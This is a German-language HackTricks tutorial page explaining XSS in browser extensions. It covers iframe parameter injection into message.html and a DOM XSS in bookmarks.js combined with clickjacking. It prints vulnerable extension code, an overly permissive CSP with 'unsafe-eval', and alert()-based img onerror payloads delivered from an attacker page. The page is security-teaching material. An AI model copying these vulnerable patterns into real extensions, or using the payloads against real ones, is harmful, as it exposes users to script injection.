BrowExt - XSS Example

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstütze HackTricks

Cross-Site Scripting (XSS) durch Iframe

In diesem Setup wird ein Inhalts-Skript implementiert, um ein Iframe zu instanziieren, das eine URL mit Abfrageparametern als Quelle des Iframes einfügt:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

Eine öffentlich zugängliche HTML-Seite, message.html, ist so konzipiert, dass sie Inhalte dynamisch zum Dokumenteninhalt basierend auf den Parametern in der URL hinzufügt:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

Ein bösartiges Skript wird auf der Seite eines Angreifers ausgeführt, das den content-Parameter der Iframe-Quelle ändert, um eine XSS-Payload einzuführen. Dies wird erreicht, indem die Iframe-Quelle aktualisiert wird, um ein schädliches Skript einzuschließen:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

Eine zu permissive Content Security Policy wie:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

erlaubt die Ausführung von JavaScript, wodurch das System anfällig für XSS-Angriffe wird.

Ein alternativer Ansatz, um das XSS auszulösen, besteht darin, ein Iframe-Element zu erstellen und dessen Quelle so einzustellen, dass das schädliche Skript als content-Parameter enthalten ist:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-basiertes XSS + ClickJacking

Dieses Beispiel stammt aus dem ursprünglichen Beitrag.

Das Kernproblem ergibt sich aus einer DOM-basierten Cross-site Scripting (XSS) Schwachstelle, die sich in /html/bookmarks.html befindet. Das problematische JavaScript, Teil von bookmarks.js, ist unten aufgeführt:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

Dieses Snippet ruft den Wert aus dem txtName Eingabefeld ab und verwendet String-Verkettung zur Generierung von HTML, das dann mit jQuerys .append()-Funktion an das DOM angehängt wird.

Typischerweise würde die Content Security Policy (CSP) der Chrome-Erweiterung solche Schwachstellen verhindern. Aufgrund der CSP-Entspannung mit ‘unsafe-eval’ und der Verwendung von jQuerys DOM-Manipulationsmethoden (die globalEval() verwenden, um Skripte an eval() bei der DOM-Einfügung zu übergeben), ist eine Ausnutzung jedoch weiterhin möglich.

Obwohl diese Schwachstelle erheblich ist, hängt ihre Ausnutzung normalerweise von der Interaktion des Benutzers ab: die Seite besuchen, eine XSS-Nutzlast eingeben und die Schaltfläche „Hinzufügen“ aktivieren.

Um diese Schwachstelle zu verstärken, wird eine sekundäre Clickjacking-Schwachstelle ausgenutzt. Das Manifest der Chrome-Erweiterung zeigt eine umfangreiche web_accessible_resources-Richtlinie:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Bemerkenswert ist, dass die /html/bookmarks.html-Seite anfällig für Framing ist und somit verwundbar für clickjacking. Diese Schwachstelle wird ausgenutzt, um die Seite innerhalb der Website eines Angreifers einzurahmen und sie mit DOM-Elementen zu überlagern, um die Benutzeroberfläche täuschend umzugestalten. Diese Manipulation führt dazu, dass die Opfer unbeabsichtigt mit der zugrunde liegenden Erweiterung interagieren.

References

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated